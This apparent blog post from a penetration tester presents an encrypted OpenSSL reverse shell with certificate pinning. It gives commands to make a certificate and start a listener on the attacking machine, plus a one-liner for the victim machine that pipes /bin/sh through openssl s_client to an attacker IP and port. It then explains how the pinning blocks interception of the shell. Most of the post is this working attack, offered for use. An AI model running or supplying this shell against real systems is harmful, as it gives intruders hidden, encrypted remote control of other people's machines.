Since my last article about reverse shells I made some progress. I added support for certificate pinning. This provides another layer of security. This makes it impossible for any interceptor to take over the shell with a MITM attack.

Photo by Noah S on Unsplash

Example

Certificate

Create a certificate on the attacking machine:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Listener

Start the listener on the attacking machine:

openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>

Reverse Shell

Start the reverse shell on the victim machine through any form of code execution. Be sure to upload the cert.pem in a secure manner beforehand and make it accessible.

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -CAfile /tmp/cert.pem -verify_return_error -verify 1 -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

The option -verify 1 checks the certificate chain to a depth of 1. So it checks only the one certificate provided in cert.pem . This works for all self-signed certificates. If you use a longer certificate chain for whatever reason, you have to adjust this value accordingly.

The option -verify_return_error will terminate the connection, if the certificate chain cannot be verified. You can test this in your lab by generating a second key pair and certificate and connect with the “wrong” certificate. You will see that the connection comes in, but will be reset during the handshake due to the certificate error. You will be notified about that on the attacker machine, too. Experiencing this in the wild is a sign that somebody tried to intercept your shell.

If you encounter any problems or bugs, please feel free to contact me. I would like to make this reverse shell as secure and usable as possible.

Note: If you like to use Metasploit instead of a classic reverse shell you will love the Meterpreter Pranoid Mode.